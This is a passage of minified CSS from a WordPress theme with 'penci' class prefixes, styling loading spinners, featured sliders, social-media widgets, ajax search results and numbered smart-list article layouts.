.penci-loading-circle3{-webkit-transform:rotate(60deg);-ms-transform:rotate(60deg);transform:rotate(60deg)}.penci-loading-circle .penci-loading-circle4{-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.penci-loading-circle .penci-loading-circle5{-webkit-transform:rotate(120deg);-ms-transform:rotate(120deg);transform:rotate(120deg)}.penci-loading-circle .penci-loading-circle6{-webkit-transform:rotate(150deg);-ms-transform:rotate(150deg);transform:rotate(150deg)}.penci-loading-circle .penci-loading-circle7{-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.penci-loading-circle .penci-loading-circle8{-webkit-transform:rotate(210deg);-ms-transform:rotate(210deg);transform:rotate(210deg)}.penci-loading-circle .penci-loading-circle9{-webkit-transform:rotate(240deg);-ms-transform:rotate(240deg);transform:rotate(240deg)}.penci-loading-circle .penci-loading-circle10{-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.penci-loading-circle .penci-loading-circle11{-webkit-transform:rotate(300deg);-ms-transform:rotate(300deg);transform:rotate(300deg)}.penci-loading-circle .penci-loading-circle12{-webkit-transform:rotate(330deg);-ms-transform:rotate(330deg);transform:rotate(330deg)}.penci-loading-circle .penci-loading-circle2:before{-webkit-animation-delay:-1.1s;animation-delay:-1.1s}.penci-loading-circle .penci-loading-circle3:before{-webkit-animation-delay:-1s;animation-delay:-1s}.penci-loading-circle .penci-loading-circle4:before{-webkit-animation-delay:-.9s;animation-delay:-.9s}.penci-loading-circle .penci-loading-circle5:before{-webkit-animation-delay:-.8s;animation-delay:-.8s}.penci-loading-circle .penci-loading-circle6:before{-webkit-animation-delay:-.7s;animation-delay:-.7s}.penci-loading-circle .penci-loading-circle7:before{-webkit-animation-delay:-.6s;animation-delay:-.6s}.penci-loading-circle .penci-loading-circle8:before{-webkit-animation-delay:-.5s;animation-delay:-.5s}.penci-loading-circle .penci-loading-circle9:before{-webkit-animation-delay:-.4s;animation-delay:-.4s}.penci-loading-circle .penci-loading-circle10:before{-webkit-animation-delay:-.3s;animation-delay:-.3s}.penci-loading-circle .penci-loading-circle11:before{-webkit-animation-delay:-.2s;animation-delay:-.2s}.penci-loading-circle .penci-loading-circle12:before{-webkit-animation-delay:-.1s;animation-delay:-.1s}@-webkit-keyframes penciLoadingCircleBounceDelay{0%,100%,80%{-webkit-transform:scale(0);transform:scale(0)}40%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes penciLoadingCircleBounceDelay{0%,100%,80%{-webkit-transform:scale(0);transform:scale(0)}40%{-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes PenciSlideInUp{from{-webkit-transform:translate3d(0,15px,0);transform:translate3d(0,15px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes PenciSlideInUp{from{-webkit-transform:translate3d(0,15px,0);transform:translate3d(0,15px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.penci-ajrs-animate{opacity:0;-webkit-animation:PenciSlideInUp .3s forwards 1;animation:PenciSlideInUp .3s forwards 1;-webkit-animation-delay:.1s;animation-delay:.1s}.penci-smalllist-wrapper .penci-pagination{margin-top:20px;margin-bottom:0}.pcajx-nopost{padding:5px;border:1px solid var(--pcborder-cl);text-align:center;border-radius:5px;font-weight:700;text-transform:uppercase;font-size:12px;background:#f1f1f1}.featured-area.text-align-right .penci-featured-content .feat-text,.featured-area.text-align-right .penci-featured-content-right .feat-text-right,.featured-area.text-align-right .penci-slide-overlay .penci-mag-featured-content{text-align:right}.featured-area.text-align-left .penci-featured-content .feat-text,.featured-area.text-align-left .penci-featured-content-right .feat-text-right,.featured-area.text-align-left .penci-slide-overlay .penci-mag-featured-content{text-align:left}.featured-area.text-align-left .penci-featured-content .feat-text,.featured-area.text-align-right .penci-featured-content .feat-text{padding-left:20px;padding-right:20px}.featured-area.text-align-left .penci-slider4-overlay .penci-featured-content .feat-text,.featured-area.text-align-right .penci-slider4-overlay .penci-featured-content .feat-text,.featured-style-29.text-align-left .penci-featured-content .feat-text,.featured-style-29.text-align-right .penci-featured-content .feat-text,.featured-style-38.text-align-left .penci-featured-content .feat-text,.featured-style-38.text-align-right .penci-featured-content .feat-text{padding-left:0;padding-right:0}.featured-area.text-align-center .penci-featured-content-right .feat-text-right,.featured-area.text-align-center .penci-slide-overlay .penci-mag-featured-content{text-align:center}.featured-area.text-align-left.featured-style-29 .penci-featured-content .feat-text h3:before{left:0;margin-left:0}.featured-area.vertical-align-top .penci-featured-content,.featured-area.vertical-align-top .penci-featured-content-right .feat-text-right,.featured-area.vertical-align-top .penci-slide-overlay .penci-mag-featured-content{top:0;transform:none;margin-top:20px}.featured-area.vertical-align-middle .penci-slide-overlay .penci-mag-featured-content{top:50%;transform:translateY(-50%);bottom:auto}.featured-area.vertical-align-bottom .penci-featured-content,.featured-area.vertical-align-bottom .penci-featured-content-right .feat-text-right,.featured-area.vertical-align-bottom .penci-slide-overlay .penci-mag-featured-content{top:auto;bottom:0;transform:none;margin-bottom:20px}.featured-area.text-align-right.featured-style-29 .penci-featured-content .feat-text h3:before{left:auto;right:0;margin-left:0}.featured-area.horizontal-align-left .penci-featured-content,.featured-area.horizontal-align-right .penci-featured-content{display:flex;flex-wrap:wrap}.featured-area.horizontal-align-left .penci-featured-content{justify-content:start}.featured-area.horizontal-align-right .penci-featured-content{justify-content:end}.featured-area.horizontal-align-left .penci-featured-content .feat-text,.featured-area.horizontal-align-right .penci-featured-content .feat-text{margin:0}.pc-cscomments.move-top h3.comment-reply-title{border-top:0!important;padding-top:0!important}.pc-cscomments.move-top .post-title-box{border-top:1px solid var(--pcborder-cl);padding-top:30px;margin-top:30px}.pc-widget-user-lists ul li{display:flex;flex-wrap:wrap;flex-direction:row;align-items:center}.pc-widget-user-lists .pc-uw-ava{padding-right:15px}.pc-widget-user-lists .pc-uw-ava img{width:100%;height:auto}.pc-widget-user-lists .name a{font-size:16px;line-height:1.3}.pc-widget-user-lists .name a:hover{text-decoration:none}.pc-widget-user-lists .count{display:block;margin-top:5px;color:var(--pcmeta-cl);line-height:1}.penci_posts_tabs_widget .tabs{border-bottom:1px solid var(--pcborder-cl);padding-bottom:15px;margin-bottom:20px;overflow:hidden}.penci_posts_tabs_widget .tabs ul>li{border:0;padding:0;margin:0;float:left}.penci_posts_tabs_widget.el ul{padding-left:0;margin-bottom:0}.penci_posts_tabs_widget.el ul li{list-style:none}.penci_posts_tabs_widget .tabs ul{display:flex}.penci_posts_tabs_widget .default-tabs .tabs ul{justify-content:space-between}.penci_posts_tabs_widget .box-tabs .tabs ul>li{float:none;flex-grow:1;flex-basis:0;text-align:center}.penci_posts_tabs_widget .box-tabs .tabs ul>li:not(:last-child){margin-right:0}.penci_posts_tabs_widget .box-tabs .tabs{border-bottom:0;padding-bottom:0}.penci_posts_tabs_widget .box-tabs .tabs ul>li a{display:block;border:1px solid var(--pcborder-cl);border-right-width:0;padding:15px 2px}.penci_posts_tabs_widget .box-tabs .tabs ul>li.active a{background:rgba(136,136,136,.1)}.penci_posts_tabs_widget .box-tabs .tabs ul>li:last-child a{border-right-width:1px}.penci_posts_tabs_widget .show-icon .tabs ul>li a:before{font-family:FontAwesome;display:inline-block;margin-right:5px}.penci_posts_tabs_widget .show-icon .tabs ul>li.li-tab-recent a:before{content:"\f0f6"}.penci_posts_tabs_widget .show-icon .tabs ul>li.li-tab-popular a:before{content:"\f06d"}.penci_posts_tabs_widget .show-icon .tabs ul>li.li-tab-comments a:before{content:"\f086"}.penci_posts_tabs_widget .tabs ul>li a{text-transform:uppercase;font-weight:700;text-decoration:none}.penci_posts_tabs_widget .tabs ul>li:not(:last-child){margin-right:20px}.penci_posts_tabs_widget .tabs-content>div,.penci_posts_tabs_widget .tabs>li{display:none}.penci_posts_tabs_widget .tabs-content>div.active{display:block}.penci_posts_tabs_widget .tabs>li.active{display:inline-block}.penci_posts_tabs_widget .tabs ul>li.active a{color:var(--pcaccent-cl)}.penci_posts_tabs_widget .recent-comments li{display:flex;flex-direction:row;align-items:center;margin-bottom:15px;padding-bottom:15px}.penci_posts_tabs_widget .recent-comments .avatar{flex:0 0 50px;margin-right:15px}.penci_posts_tabs_widget .author-info{line-height:1.5;display:block;color:var(--pcmeta-cl)}.pc-widget-advanced-tax.tax-style-1 ul li a{background-color:transparent!important}.penci_snapchat_widget .pc-snapchat-badge{display:block;background-repeat:no-repeat;background-position:center;font-size:0;line-height:0;border:3px solid var(--pcborder-cl);overflow:hidden;width:170px;height:170px;margin:0 auto;border-radius:20px;transition:all .25s;position:relative;background-color:transparent!important}.penci_snapchat_widget.pcsnapal-left .pc-snapchat-badge{margin-right:auto;margin-left:0}.penci_snapchat_widget.pcsnapal-right .pc-snapchat-badge{margin-right:0;margin-left:auto}.penci_snapchat_widget .pc-snapchat-badge-over{position:absolute;top:0;left:0;right:0;bottom:0;background-color:transparent!important;z-index:3}.penci_snapchat_widget .pc-snapchat-avatar{position:absolute;width:60px;height:60px;top:50%;left:50%;right:50%;transform:translateX(-50%) translateY(-50%);border-radius:20px;background-color:transparent;z-index:1}.penci_snapchat_widget .pc-snapchat-badge.is-circle,.penci_snapchat_widget .pc-snapchat-badge.is-circle .pc-snapchat-avatar{border-radius:100%}.penci_snapchat_widget .pc-snapchat-wrapper a:hover{color:var(--pcaccent-cl);text-decoration:none}.penci_snapchat_widget .pc-snapchat-wrapper .pc-snapchat-id,.penci_snapchat_widget .pc-snapchat-wrapper .pc-snapchat-name{text-align:center;display:block}.penci_snapchat_widget.pcsnapal-left .pc-snapchat-wrapper .pc-snapchat-id,.penci_snapchat_widget.pcsnapal-left .pc-snapchat-wrapper .pc-snapchat-name{text-align:left}.penci_snapchat_widget.pcsnapal-right .pc-snapchat-wrapper .pc-snapchat-id,.penci_snapchat_widget.pcsnapal-right .pc-snapchat-wrapper .pc-snapchat-name{text-align:right}.penci_snapchat_widget .pc-snapchat-wrapper .pc-snapchat-name{margin-top:10px;font-size:20px;font-weight:700}.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-list .tiktok-feed-item{padding:6px!important}.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-list .tiktok-feed-item .tiktok-feed-icon>span,.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-list .tiktok-feed-item .tiktok-feed-video-mask-content>span{font-weight:400!important;font-size:13px!important}.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-actions{margin-bottom:0;margin-right:-5px;margin-left:-5px}.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-actions .tiktok-feed-button{width:100%;margin:0}.penci_tiktok_widget .tiktok-feed-feed .tiktok-feed-actions .tiktok-feed-button:hover{box-shadow:0 8px 19px -4px #ff5374}.pc-tiktok-avatar a{width:70px;height:70px;display:block;position:relative;float:left;margin-right:15px}.pc-tiktok-avatar img{border-radius:50%}.pc-tiktok-username{display:block;font-size:1.35em}.pc-tiktok-verified{background-color:#20d5ec;color:#fff;border-radius:50%;font-size:12px;padding:4px;margin:0 5px}.pc-tiktok-desc{margin-top:8px}.pc-tiktok-counts{padding:10px 0}.pc-tiktok-counts li{display:inline-block;padding:0 10px 0 0}.pc-tiktok-counts .counts-number{font-weight:700}.pc-tiktok-counts span:last-child{opacity:.7;font-size:90%}.penci_comments_widget ul li{display:flex}.penci_comments_widget ul li .post-widget-thumbnail{align-self:center}.penci_comments_widget ul li .comment-body{padding-left:15px;align-self:center}.penci-tweets-lists .penci-tweet:not(:last-child){margin-bottom:15px;padding-bottom:15px;border-bottom:1px solid var(--pcborder-cl)}.penci-tweets-lists .tweet-intents span:after,.penci-tweets-lists .tweet-intents-inner:after,.penci-tweets-lists .tweet-intents-inner:before{display:none}.penci-tweets-lists .tweet-intents-inner a:hover{text-decoration:none;opacity:.85}.penci-tweets-lists .tweet-intents-inner>span:not(:last-child){margin-right:10px}.penci-tweets-lists .tweet-date{line-height:1;display:block}.penci-tweets-lists .penci-tweet{position:relative}.penci-tweets-lists .penci-tweet:before{font-family:FontAwesome;position:absolute;top:0;font-size:24px;content:"\f099";right:0;color:#2196f3;opacity:.6}.penci-tweets-lists .tweet-intents-inner>span a{color:var(--pcmeta-cl)}.pc-widget-advanced-tax.tax-style-1.hlmark .category-item-count{display:inline-block;padding:2px 3px;background-color:var(--pcaccent-cl);color:#fff;font-size:11px;border-radius:2px}.pc-widget-advanced-tax.tax-style-2 ul{margin:0;padding:0}.pc-widget-advanced-tax.tax-style-2 ul li{display:inline-block}.elementor-widget-penci-advanced-categories .pc-widget-advanced-tax.tax-style-3 select{padding:10px 15px;border:1px solid var(--pcborder-cl);background:0 0}.wpcf7 .ajax-loader{display:none}.wpcf7 form.submitting .ajax-loader{display:inline-block}.pc-widget-user-lists ul,.widget.pcel-acat .pc-widget-advanced-tax>ul{padding-left:0;margin-bottom:0}.pc-widget-user-lists.el .name{margin-bottom:5px}.pc-widget-user-lists.el ul li:not(:last-child){border-bottom:1px solid var(--pcborder-cl);padding-bottom:5px;margin-bottom:5px}.pc-widget-user-lists.el ul li:last-child{margin:0;padding:0}.penci_comments_widget.el ul{padding-left:0;margin-bottom:0}.penci_comments_widget.el ul li:last-child{margin-bottom:0;padding-bottom:0}.post-entry.blockquote-style-1 .tiktok-embed,.post-entry.blockquote-style-2 .tiktok-embed,.tiktok-embed{padding:0;margin:0;border:0}.post-entry.blockquote-style-1 .tiktok-embed:after,.post-entry.blockquote-style-1 .tiktok-embed:before,.post-entry.blockquote-style-2 .tiktok-embed:after,.post-entry.blockquote-style-2 .tiktok-embed:before,.tiktok-embed:after,.tiktok-embed:before{display:none}.pc-wstories{--gap:5px;overflow:hidden}.pc-wstories-wrapper .pc-wstories-list{margin-left:calc(var(--gap) * -1);margin-right:calc(var(--gap) * -1);display:flex;flex-wrap:wrap;flex-direction:row}.pc-wstories-wrapper .pc-wstories-list.slider{margin-left:0;margin-right:0}.pc-wstories-wrapper .pc-wstories-list.one-row{flex-wrap:nowrap;overflow-x:auto;cursor:grab}.pc-wstories-wrapper .pc-webstory-item{width:8.3333333333%;padding-left:var(--gap);padding-right:var(--gap);cursor:pointer;transition:opacity .2s;-webkit-transition:opacity .2s;-moz-transition:opacity .2s}.pc-wstories-wrapper .slider .pc-webstory-item{width:100%}.pc-wstories-wrapper .grid .pc-webstory-item{margin-bottom:var(--gap)}.pc-wstories-wrapper .grid{margin-bottom:calc(var(--gap) * -1)}.pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item{width:100px;flex:0 0 100px;cursor:grab}.pc-wstories-wrapper .pc-webstory-thumb-wrapper{border-radius:50%;overflow:hidden;background-color:var(--pcaccent-cl);padding:2px;cursor:pointer}.pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper{background-color:gray}.pc-wstories-wrapper .pc-webstory-thumb{border-radius:50%;border:2px solid var(--pcbg-cl)}.pc-wstories-wrapper .pc-webstory-thumb:before{padding-top:100%}.pc-wstories-wrapper .pc-webstory-item-title{display:block}.pc-wstories-wrapper .pc-webstory-item-title h4{text-align:center;font-size:14px;margin:5px 0 0;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.pc-wstories-popup-wrapper{position:fixed;top:0;left:0;right:0;bottom:0;z-index:9999999;opacity:0;visibility:hidden;transition:.3s all ease-in-out;background-color:#000}.pc-wstories-popup-content{opacity:0;visibility:hidden;transition:.3s all ease-in-out}.pc-wstories-popup-content iframe{width:100vw;height:100vh}.pc-wstories-popup-wrapper.loading,.pc-wstories-popup-wrapper.show,.pc-wstories-popup-wrapper.show .pc-wstories-popup-content{opacity:1;visibility:visible}.pc-wstories-popup-wrapper.loading .penci-loader-effect{display:block}.pc-wstories-popup-wrapper .pc-wstories-popup-toolbar{position:absolute;top:30px;left:30px;z-index:99999999}.pc-wstories-popup-wrapper .pc-ws-btn{cursor:pointer;color:#fff;font-size:14px;display:inline-block;margin-right:30px}.pc-wstories-popup-wrapper .pc-story-info{cursor:initial}.pc-wstories-popup-wrapper .pc-ws-btn.disable{pointer-events:none;opacity:.3}body.pc-webstories-show{overflow:hidden}.pc-wstories-wrapper .pc-wstories-list.slider{display:block;overflow:hidden}.yt-video-place .fluid-width-video-wrapper,.yt-video-place iframe{position:absolute;top:0;left:0;right:0;bottom:0;z-index:9;width:100%;height:100%}.penci-search-form form.penci-ajax-search button,.penci-search-form form.penci-ajax-search input{border:0}.penci-search-form form.penci-ajax-search{display:flex;align-self:center;flex-direction:row;flex-wrap:wrap;justify-content:space-between;padding:0}.penci-search-form form.penci-ajax-search .pc-eajxsearch button{height:40px}.penci-search-form form.penci-ajax-search input{font-family:inherit;border:1px solid var(--pcborder-cl)}.penci-search-form form.penci-ajax-search button{font-size:0;position:relative;padding-right:20px;padding-left:20px;border-left:1px solid var(--pcborder-cl);background-color:var(--pcaccent-cl);color:#fff}.search-style-text-button form.penci-ajax-search button{font-size:13px}.search-style-default form.penci-ajax-search .searchsubmit{display:block;background:0 0;margin:0;border:0;position:absolute;top:0;bottom:0;right:0;color:inherit}.search-style-default form.penci-ajax-search .searchsubmit:before{border-color:#f1f1f1;border-left-color:var(--pcmeta-cl)}.search-style-text-button form.search-loading button span{opacity:0}.search-style-text-button form.penci-ajax-search button:before{visibility:visible}.search-style-text-button form.penci-ajax-search button:after{display:none}@keyframes lds-dual-ring{100%{transform:rotate(360deg)}}.header-search-style-default .pcajx-search-loading.show-search a.close-search i:after,.header-search-style-overlay .show-search .penci-search-form form button:after,.penci-search-form form.penci-ajax-search button:before{font-family:inherit!important;line-height:0;position:absolute;z-index:2;top:calc(50% - 7px);right:50%;left:50%;display:block;visibility:hidden;width:14px;height:14px;margin:0 0 0 -9px;content:" "!important;animation:lds-dual-ring .5s linear infinite;vertical-align:middle;opacity:1;border:1px solid rgba(255,255,255,.5);border-left-color:var(--pcbg-cl);border-radius:50%}.penci-search-form form.penci-ajax-search button:after{font-family:penciicon;font-size:16px;line-height:16px;content:"\f108"}.penci-search-form form.penci-ajax-search .pc-eajxsearch button:after{display:none}.penci-search-form .search-loading.penci-ajax-search button:after,.penci-search-form .search-loading.penci-ajax-search button>span{visibility:hidden}.header-search-style-overlay .show-search .penci-search-form .search-loading.penci-ajax-search button:after,.penci-search-form .search-loading.penci-ajax-search button:before{visibility:visible}.header-search-style-overlay .show-search.active form.pc-searchform.penci-ajax-search .searchsubmit{display:block;position:absolute;top:0;bottom:0;right:10px;height:100%}.header-search-style-overlay .show-search.active form.pc-searchform.penci-ajax-search button:before{top:calc(50% - 12px);width:24px;height:24px;margin:0 0 0 -20px}.search-results-wrapper{position:relative;top:0}.search-results-wrapper .penci-dropdown-results{position:absolute;z-index:30;top:0;right:0;left:0;border-bottom:1px solid var(--pcajs_bcl);background-color:var(--pcajs_bgcl);opacity:0}.search-results-wrapper .penci-dropdown-results.penci-opened{opacity:1}.search-results-wrapper .autocomplete-suggestions{width:100%;border:0;background-color:var(--pcajs_bgcl);position:relative;max-height:300px;box-shadow:none}.search-results-wrapper .autocomplete-suggestions .autocomplete-suggestion{white-space:normal;color:var(--pctext-cl)}.search-results-wrapper .no-found-msg{font-size:var(--pcajs_nfz);line-height:1.2;text-align:center;display:block;width:100%;font-weight:700;padding:0 20px}.header-search-style-overlay .show-search.active .search-results-wrapper .no-found-msg{color:rgba(255,255,255,.7);text-align:center}.widget.penci_search_box_widget .search-results-wrapper .no-found-msg{color:var(--pctext-cl)}.widget.penci_search_box_widget .search-loading button span{color:transparent}.search-results-wrapper .penci-dropdown-results.penci-opened,.widget.penci_search_box_widget .penci-opened .penci-search-results-wrapper{-moz-box-shadow:0 2px 3px rgba(190,190,190,.4);-webkit-box-shadow:0 2px 3px rgba(190,190,190,.4);box-shadow:0 2px 3px rgba(190,190,190,.4)}.penci-scroll-content{overflow:hidden;overflow-y:visible}.penci-ajax-search .inner-hbg-search-form{display:flex;flex:1 1 100%;justify-content:space-between}.search-results-wrapper .autocomplete-suggestions{display:flex;flex-wrap:wrap;left:0;width:100%;border-top:0;padding:10px 0}.header-search-style-default .penci-search-form form button,.header-search-style-default .show-search a.close-search{transition:all .3s ease-in-out}.header-search-style-default .pcajx-search-loading.show-search a.close-search i:before{visibility:hidden}.header-search-style-default .penci-search-form form button{opacity:0}.header-search-style-default .pcajx-search-loading.show-search a.close-search i:after{visibility:visible;border-color:#f1f1f1;border-left-color:var(--pcmeta-cl)}.header-search-style-default .pcajx-search-loading.show-search .penci-search-form form button{opacity:1}.header-search-style-default .pcajx-search-loading.show-search .penci-search-form form button:before{border-color:var(--pcmeta-cl);border-left-color:var(--pctext-cl)}.header-search-style-default .search-results-wrapper .no-found-msg{text-align:left}.penci-search-results .autocomplete-suggestion{line-height:1;display:flex;flex:1 1 100%;max-width:100%;padding:5px 20px;cursor:pointer;transition:all .3s ease}@media only screen and (min-width:1170px){.header-search-style-default .penci-search-results .autocomplete-suggestion{flex:1 1 25%;max-width:25%}}@media only screen and (min-width:768px) and (max-width:1169px){.header-search-style-default .penci-search-results .autocomplete-suggestion{flex:1 1 50%;max-width:50%}}.penci-search-results .autocomplete-suggestion .suggestion-thumb{flex:0 0 auto;max-width:70px;width:70px;margin-right:15px;padding:5px 0}.penci-search-results .autocomplete-suggestion .suggestion-thumb i{position:absolute;width:24px;height:24px;line-height:24px;left:50%;top:50%;margin:-11px 0 0 -11px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;font-size:12px;transition:all .25s;-webkit-transition:all .25s;-moz-transition:all .25s;border:1px solid rgba(255,255,255,.9);background:rgba(0,0,0,.4);color:rgba(255,255,255,.9);text-align:center}.penci-search-results .autocomplete-suggestion .suggestion-content{display:flex;flex-wrap:wrap;flex-direction:column;align-self:center}.penci-search-results .autocomplete-suggestion .suggestion-thumb .penci-image-holder:before{padding-top:100%}.penci-search-results .autocomplete-suggestion .penci-post-title{font-size:var(--pcajs_tfz);line-height:initial;margin:0;color:var(--pcajs_tcl)}.penci-search-results .autocomplete-suggestion .penci-post-title a{color:var(--pcajs_tcl)}.penci-search-results .autocomplete-suggestion .penci-post-title a:hover,.penci-search-results .autocomplete-suggestion.autocomplete-selected .penci-post-title,.penci-search-results .autocomplete-suggestion:hover .penci-post-title{color:var(--pcajs_thcl)}.penci-search-results .autocomplete-suggestion .post-date{color:var(--pcajs_mcl);font-size:var(--pcajs_mfz);margin-top:7px}.penci-search-results .autocomplete-suggestion.autocomplete-selected .post-date,.penci-search-results .autocomplete-suggestion:hover .post-date{color:var(--pcajs_mhcl)}.penci-search-results .autocomplete-suggestion .price{color:var(--pcaccent-cl);font-weight:var(--pchead-wei)}.penci-search-results .autocomplete-suggestion .suggestion-sku{font-size:var(--pcajs_mfz)}.penci-search-results .autocomplete-suggestion del{font-size:80%}.penci-search-results .autocomplete-suggestion ins{text-decoration:none}.penci-search-results .autocomplete-suggestion.suggestion-divider{flex-basis:100%!important;width:100%;cursor:default;background-color:var(--pcajs_bcl)}.autocomplete-suggestion.suggestion-divider h5{margin-bottom:0;text-transform:uppercase}.view-all-results{font-weight:var(--pchead-wei);line-height:40px;flex:1 1 100%;height:40px;margin-bottom:-1px;cursor:pointer;transition:all .25s ease;text-align:center;border-top:1px solid var(--pcajs_bcl);font-size:13px}.view-all-results a{color:var(--pcajs_ncl)}.pcbds-overlay .view-all-results a{color:#fff}.pcbds-overlay .view-all-results a:hover,.view-all-results a:hover{color:var(--pcaccent-cl)}.header-search-style-default .penci-search-form form{border:0}.header-search-style-default .search-results-wrapper .penci-dropdown-results{border:0;top:1px}.header-search-style-default .search-results-wrapper .penci-search-form form input{width:unset}.header-search-style-default .penci-search-form,.header-search-style-default .penci-search-form form button,.header-search-style-default .penci-search-form form input,.header-search-style-default .searchform{height:100%}.header-search-style-default .penci-search-form form button,.header-search-style-default .penci-search-form form input{width:unset}.header-search-style-default .penci-search-form form.penci-ajax-search input{width:calc(100% - 60px)}.header-search-style-default .penci-search-form form button{background-color:transparent;color:var(--pcheading-cl);border:0}.header-search-style-default .penci-search-form form.penci-ajax-search button{visibility:hidden}.autocomplete-suggestions::-webkit-scrollbar{width:2px}.autocomplete-suggestions::-webkit-scrollbar-track{background-color:var(--pcbg-cl)}.autocomplete-suggestions::-webkit-scrollbar-thumb{background-color:var(--pcmeta-cl)}.pcsb-csf .post-box-meta-single{margin:0}.pcsb-csf .post-box-meta-single img{vertical-align:middle}.pcsml-el .pcsml-item{position:relative}.pcsml-el .post-entry{margin-bottom:0}.pcsml-el .pcsml-ad .pcsml-placeholder-title:before{content:"Smart List Ad"!important}.pcsml-el{margin-bottom:0}.pcsml-el .pcsml-ad{clear:both;text-align:center}.pcsml-el .pcsml-ad>div{margin-top:0}.pcsml-el .pcsml-ad img{margin:0;width:100%}.pcsml-el .pcsml-ad .adsbygoogle{margin-top:0;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.pcsml-desc{display:block}.pcsml-el .pcsml-ad .pcsml-placeholder-title:before{content:"Smart List Ad"}.pcsml-title-wrapper{width:100%}.pcsml-title-wrapper h1,.pcsml-title-wrapper h2,.pcsml-title-wrapper h3,.pcsml-title-wrapper h4,.pcsml-title-wrapper h5,.pcsml-title-wrapper h6{margin:0}.pcsml-item-number span{display:block;background-color:var(--pcheading-cl);font-weight:700;text-align:center;color:var(--pcbg-cl)}.pcsml-item-title{font-weight:700}.pcsml-figure img{display:inline-block;vertical-align:top}.pcsml-caption{font-style:italic;font-size:12px;line-height:18px;margin-top:5px;margin-bottom:20px}.pcsml_style_1 .pcsml-item-number,.pcsml_style_1 .pcsml-item-title{display:table-cell}.pcsml_style_1 .pcsml-item-title{vertical-align:middle}.pcsml_style_1 .pcsml-item{margin-bottom:50px}.pcsml_style_1 .pcsml-title-wrapper{margin-bottom:20px;position:relative}.pcsml_style_1 h1,.pcsml_style_1 h2,.pcsml_style_1 h3,.pcsml_style_1 h4,.pcsml_style_1 h5,.pcsml_style_1 h6{margin:2px 0 0}.pcsml_style_1 .pcsml-item-number span{padding:0 5px;font-size:22px;line-height:36px;min-width:36px}.pcsml_style_1 .pcsml-item-title{width:100%;padding-left:15px;font-size:22px;line-height:1.3}.pcsml_style_2 .pcsml-info{overflow:hidden}.pcsml_style_2 .pcsml-item-number,.pcsml_style_2 .pcsml-item-title{display:table-cell}.pcsml_style_2 .pcsml-item-title{vertical-align:middle}.pcsml_style_2 .pcsml-item{width:100%;padding:30px 0;border-bottom:1px solid var(--pcborder-cl)}.pcsml_style_2 .pcsml-item:first-child{padding-top:9px}.pcsml_style_2 .pcsml-item:last-of-type{border-bottom:none}.pcsml_style_2 .pcsml-item-number span{font-size:18px;min-width:32px;min-height:32px;line-height:32px}.pcsml_style_2 .pcsml-item-title{font-size:18px;line-height:24px;padding-left:14px}.pcsml_style_2 .pcsml-figure{vertical-align:top;width:170px}.pcsml_style_2 .pcsml-caption{line-height:14px;margin-bottom:0}.pcsml_style_2 .pcsml-desc{margin-top:11px}@media only screen and (min-width:768px){.pcsml_style_2 .pcsml-item{display:flex}.pcsml_style_2 .pcsml-figure,.pcsml_style_2 .pcsml-info{display:table-cell}.pcsml_style_2 .pcsml-info{flex:1}.pcsml_style_2 .pcsml-figure{padding-left:20px}}@media only screen and (max-width:767px){.pcsml_style_2{text-align:center}.pcsml_style_2 .pcsml-figure,.pcsml_style_2 h1,.pcsml_style_2 h2,.pcsml_style_2 h3,.pcsml_style_2 h4,.pcsml_style_2 h5,.pcsml_style_2 h6{display:inline-block}}.pcsml_style_3 .pcsml-item{margin-bottom:50px}.pcsml_style_3 .pcsml-figure{position:relative}.pcsml_style_3 figcaption div:before{content:"";position:absolute;bottom:0;left:0;display:block;height:150%;width:100%;background:-webkit-linear-gradient(top,rgba(0,0,0,0) 0,rgba(0,0,0,.9) 100%);background:linear-gradient(to bottom,rgba(0,0,0,0) 0,rgba(0,0,0,.9) 100%);z-index:-1}.pcsml_style_3 figcaption div:empty{display:none}.pcsml_style_3 .pcsml-caption{position:absolute;bottom:0;left:0;right:0;text-align:right;color:var(--pcbg-cl);margin-bottom:0;padding:12px 16px;z-index:1}.pcsml_style_3 .pcsml-item-number{position:absolute;top:0;left:0;z-index:1}.pcsml_style_3 .pcsml-item-number span{background-color:rgba(0,0,0,.8);min-width:44px;min-height:44px;font-family:var(--pchead-font);font-size:26px;line-height:44px}.pcsml_style_3 h1,.pcsml_style_3 h2,.pcsml_style_3 h3,.pcsml_style_3 h4,.pcsml_style_3 h5,.pcsml_style_3 h6{margin:0}.pcsml_style_3 .pcsml-title-wrapper{margin-bottom:17px;margin-top:20px}.pcsml_style_3 .pcsml-item-title{font-size:22px;line-height:26px}.pcsml_style_3 .pcsml-desc{margin-top:0}.pcsml-pagination{text-align:center;margin-bottom:26px}.pcsml-button{font-family:var(--pchead-font);line-height:40px;background-color:var(--pcheading-cl);color:#fff!important;padding:11px 24px;font-size:16px;font-style:normal;text-align:center;-webkit-transition:background-color .2s ease 0s;transition:background-color .2s ease 0s;cursor:pointer;margin:0 10px;text-decoration:none!important}.pcsml-button:hover{background-color:var(--pcaccent-cl)}.pcsml-button .penciicon-left-chevron{font-size:12px;position:relative;top:1px;padding-right:16px}.pcsml-button .penciicon-right-chevron{font-size:12px;position:relative;top:1px;padding-left:16px}.pcsm-disable{opacity:.5;cursor:default;-webkit-user-select:none;-moz-user-select:none;user-select:none}.pcsm-disable:hover{background-color:var(--pcheading-cl)}.pcsml_style_4 .pcsml-item-number,.pcsml_style_4 .pcsml-item-title{display:table-cell}.pcsml_style_4 .pcsml-item-title{vertical-align:middle}.pcsml_style_4 .pcsml-ad .adsbygoogle,.pcsml_style_4 .pcsml-ad .pcsml-placeholder-title,.pcsml_style_4 